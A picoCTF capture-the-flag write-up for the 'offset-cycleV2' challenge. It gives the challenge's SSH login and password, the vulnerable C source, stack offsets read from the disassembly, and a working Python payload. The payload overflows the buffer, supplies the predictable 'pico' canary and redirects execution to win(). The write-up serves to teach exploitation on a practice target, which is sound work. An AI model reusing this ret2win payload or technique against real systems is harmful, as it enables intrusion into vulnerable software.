picoCTF - Binary Exploitation

offset-cycleV2 Writeup

picoCTF Offset Cycle V2 writeup building on the first version with additional protections requiring more advanced exploitation techniques.

Contents

offset-cycleV2 Writeup

Challenge

SSH target:

ssh -p 51554 ctf-player@dolphin-cove.picoctf.net

Password:

83dcefb7

Goal

Run the generator, exploit the per-instance binary before the timeout, and recover the flag.

Instance Flow

After login, instructions.txt explained:

  1. Run ./start
  2. It copies a generated source file and binary into the current directory
  3. You have 80 seconds to exploit it

Running ./start produced:

  • 28.c
  • 28

Generated Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 609
#define CANARY_SIZE 4
#define FLAGSIZE 64

char global_canary[CANARY_SIZE];

void win() {
    char flag[FLAGSIZE];
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    puts(flag);
}

void load_canary() {
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fread(global_canary, 1, CANARY_SIZE, f);
    fclose(f);
}

void vuln() {
    char local_canary[CANARY_SIZE];
    char buf[BUFSIZE];
    char input[BUFSIZE];
    int count, i = 0;

    memcpy(local_canary, global_canary, CANARY_SIZE);

    printf("How many bytes?\n> ");
    while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
        i++;

    sscanf(input, "%d", &count);

    printf("Input> ");
    read(0, buf, count);

    if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
        puts("***** Stack Smashing Detected *****");
        exit(0);
    }

    puts("Ok... Now Where's the flag?");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setresgid(getegid(), getegid(), getegid());

    load_canary();
    vuln();
    return 0;
}

Vulnerability

The bug is the unchecked read(0, buf, count).

count is attacker-controlled, so the program allows a classic stack overflow. The only barrier is the custom 4-byte canary copied from the first 4 bytes of CodeBank/flag.txt.

The key weakness is that picoCTF flags begin with pico, so the canary is predictable.

Binary Properties

Arch: i386
RELRO: Partial RELRO
Canary: No compiler canary
NX: Enabled
PIE: No
Stripped: No

Important Addresses

From nm -n 28:

08049316 T win
08049411 T vuln
0804952c T main

Target:

win = 0x08049316

Real Stack Layout

The compiled vuln function placed:

  • buf at ebp-0x271
  • local_canary at ebp-0x10
  • saved return address at ebp+4

From the disassembly:

lea eax,[ebp-0x271]   ; buf
lea eax,[ebp-0x10]    ; local_canary

So:

  • offset from buf to local_canary = 0x271 - 0x10 = 0x261 = 609
  • offset from buf to saved return address = 0x271 + 4 = 0x275 = 629

That means the payload must be:

  1. 609 bytes padding
  2. correct 4-byte canary: pico
  3. 16 bytes filler
  4. win() address

Exploit

Working remote payload:

python3 - <<'PY' | ./28
import sys, struct
count = 609 + 4 + 16 + 4
payload = b'A'*609 + b'pico' + b'B'*16 + struct.pack('<I', 0x08049316)
sys.stdout.write(str(count) + '\n')
sys.stdout.flush()
sys.stdout.buffer.write(payload)
PY

Result

The exploit printed:

picoCTF{<redacted>}

Final Answer

Flag:

picoCTF{<redacted>}

Takeaway

This was a ret2win with a fake manual canary. The only trick was recognizing that the canary came from the first four bytes of the flag file, which are predictably pico on picoCTF instances. Once that was supplied in the overflow, control flow could be redirected directly into win().